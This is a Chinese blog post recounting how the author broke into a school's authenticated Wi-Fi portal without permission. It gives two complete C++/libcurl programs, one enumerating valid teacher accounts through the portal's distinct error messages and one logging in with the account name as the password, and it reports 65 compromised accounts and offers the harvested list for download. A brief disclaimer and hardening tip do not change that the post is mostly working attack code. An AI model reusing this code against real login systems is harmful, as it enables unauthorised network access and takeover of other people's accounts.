本帖所包含的内容仅限技术交流和学习研究使用,禁止用于其他用途!因使用不当造成的一切后果与本人无关!

由于学校wifi的蹭网人数太多,已经挂掉好几次了,所以信息组换成了认证登录,每个老师给一个账号,每个账号限制登录2台设备……这尼玛不能忍啊!
乘着之前去NOIP的机会,有借口带电脑去学校了……不到半个小时就跑出来了~(当时偷偷弄得,没截图,各位就看文字吧……)

本文主要是分析思路和程序编写,你可能需要C++基础和一些网页常识才能看懂,不知道的可以问谷哥或度娘。


0x00:准备工作

俗话说,再强大的防御系统最后的漏洞都在人身上,通过其他同学的小道消息,弄清了认证账号的格式:61+老师手机号后四位即610000-619999共10000种可能,至于密码默认是123456或者和账号一样,虽然要求修改了密码,然而大家都知道总会有那么几个懒人不改……我们的突破口就是这些人的密码。

0x01:试探

先看看认证界面,chrome浏览器发现是一个登陆界面,不过居!然!有!验!证!码!这就比较尴尬了……虽然看上去没有太多的混淆,不过这个OCR识别的工作量太大,放弃。
然后想着看看网页源码吧,然后就发现了一个好玩的东西,这个验证图片地址类似于这样:/img/1234.png ,这明显是在侮辱我的智商……于是想着模拟GET到网页,再截到验证码,然后POST就可以了。
然而某个意外导致了我用ie打开了这个网页,结果发现,上面只有一个登陆一个密码,连验证码都不要了……什么鬼?这货还看脸?好吧,反正我也懒得写截取的代码。

0x02:登陆包分析

Fiddler抓包看到了登陆包的格式:session+token+username+password,这设计者还有点脑子,每次要重新get新session和token,要不然直接飞起……
不过登陆时发现有3种状态:账号不存在,密码错误,登陆设备达上限,返回值就是中文。

0x03:爆破

当时电脑比较渣,懒得开庞大的VS了,就用VC6玩玩吧,方便起见就用非常棒的CURL来做HTTP模拟吧。
先把用户名跑出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <afx.h>
#include <stdio.h>
#include "include/curl/curl.h"

size_t process_data(void* buffer, size_t size, size_t nmemb, void* user_p)
{
strcat((char*)user_p, (char*)buffer);
return size*nmemb;
}

int main(int argc, char* argv) {
//初始化curl
CURL* pEasyHandle = curl_easy_init();
CURLcode code;
int m,n; //方便多开,输入m,n代表爆破从m到n的账号(610000-619999)
scanf("%d%d",&m,&n);
char* f;
scanf("%s",f); //保存文件
CString v=f;
v.Format("%s.txt",v);
FILE* fp=fopen(v,"w");
for(int i=m;i<=n;++i)
{
printf("%d\n",i); //当前账号名
curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portal.do?wlanuserip=172.17.30.197&wlanacname=system&mac=xx:xx:xx:xx:xx:xx&vlan=0&url=http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409&rand=582e3a2b"); //登录地址
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);
curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);
curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
char szRet[100000] = {0}; //返回信息
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEHEADER, szRet);
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet);
code = curl_easy_perform(pEasyHandle);
//printf("%s\n",szRet);
CString ret=szRet;
int pos1=ret.Find("JSESSIONID="); //定位sessionid
CString session=ret.Mid(pos1+11,32); //32位seesionid
int pos2=ret.Find("TOKEN\" value=\""); //取得当前TOKEN
CString token=ret.Mid(pos2+14,32);
CString po;
//提交数据
po.Format("org.apache.struts.taglib.html.TOKEN=%s&wlanuserip=172.17.30.197&wlanacname=system&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=127.0.0.1&ssid=&mac=xx%%3A1e%%3A11%%3Aac%%3A00%%3A00&message=&bank_acct=&isCookies=&listpasscode=1&listgetpass=1&getpasstype=0&randstr=4692&domain=&version=0&authkey=&usertype=&url=http%%3A%%2F%%2Fgo.microsoft.com%%2Ffwlink%%2F%%3FLinkID%%3D219472&isHaveNotice=0&userid=%d&passwd=123&submit=Login",token,i);
//printf("\n\n\n%s\n\n",po.GetBuffer(0));
//po.ReleaseBuffer();
curl_easy_setopt(pEasyHandle, CURLOPT_POSTFIELDS, po);
curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portalAuthAction.do;jsessionid=%s",session); //提交地址
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);
curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);
curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
char szRet2[1024] = {0}; //返回信息
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet2);
code = curl_easy_perform(pEasyHandle);
ret=szRet2;

if(ret.Find("帐号不存在")==-1) //不是账号不存在(账号名有效)
fprintf(fp,"%d\n",i); //保存到文件

//printf("%s\n",szRet2);
/* Sleep(sp);
cnt++;
if(cnt%10 == 0)
printf("%d\n",cnt);*/
}
fclose(fp);
curl_easy_cleanup(pEasyHandle);
getchar();
return 0;
}

开5个程序一起跑,由于是内网,速度飞快(大概3个/s)
最后发现221个有效账号,然后试用户名和密码相同的账号:(将main函数稍作修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int main(int argc, char* argv) {  
//初始化
CURL* pEasyHandle = curl_easy_init();
CURLcode code;
FILE* fp=fopen("ok.txt","w"); //保存到ok.txt
int i;
freopen("data.txt","r",stdin); //有效用户名文件
//freopen("ok.txt","w",stdout);
while(scanf("%d",&i)==1) //循环读取data.txt
{
printf("%d\n",i);
curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portal.do?wlanuserip=172.17.30.197&wlanacname=system&mac=xx:xx:xx:xx:xx:xx&vlan=0&url=http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409&rand=582e3a2b");
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);
curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);
curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
char szRet[100000] = {0};
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEHEADER, szRet);
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet);
code = curl_easy_perform(pEasyHandle);
//printf("%s\n",szRet);
CString ret=szRet; //返回数据
int pos1=ret.Find("JSESSIONID="); //找到sessionid
CString session=ret.Mid(pos1+11,32);
int pos2=ret.Find("TOKEN\" value=\""); //找到token
CString token=ret.Mid(pos2+14,32);
CString po;
//模拟提交
po.Format("org.apache.struts.taglib.html.TOKEN=%s&wlanuserip=172.17.30.197&wlanacname=system&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=127.0.0.1&ssid=&mac=xx%%3A1e%%3A11%%3Aac%%3A00%%3A00&message=&bank_acct=&isCookies=&listpasscode=1&listgetpass=1&getpasstype=0&randstr=4692&domain=&version=0&authkey=&usertype=&url=http%%3A%%2F%%2Fgo.microsoft.com%%2Ffwlink%%2F%%3FLinkID%%3D219472&isHaveNotice=0&userid=%d&passwd=%d&submit=Login",token,i,i);
//printf("\n\n\n%s\n\n",po.GetBuffer(0));
//po.ReleaseBuffer();
curl_easy_setopt(pEasyHandle, CURLOPT_POSTFIELDS, po);
curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portalAuthAction.do;jsessionid=%s",session);
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);
curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);
curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
char szRet2[1024] = {0};
curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet2);
code = curl_easy_perform(pEasyHandle);
ret=szRet2; //返回数据
if(ret.Find("密码错误")==-1) //密码正确(可能是达到上限)
fprintf(fp,"%d\n",i); //保存账号

//printf("%s\n",szRet2);
/* Sleep(sp);
cnt++;
if(cnt%10 == 0)
printf("%d\n",cnt);*/
}
fclose(fp);
curl_easy_cleanup(pEasyHandle);
getchar();
return 0;
}

这次更快了,几秒钟之后,65个账号就跑出来啦(懒人还真多……)
电脑也已经连上网了
这下妈妈再也不怕没有密码了……

0x04:总结

学校的这个认证系统还真是辣鸡,各位如果需要做认证wifi的话还是要考虑很多东西,或者用广泛使用的认证系统,然后加上复杂的验证码(不要弄成验证码.png XD),最好有个尝试次数,这样才不怕别人蹭网……

完整工程下载(VC6):学校密码破解.zip
账号(有效账号指的是用户名和密码一样的账号):账号.zip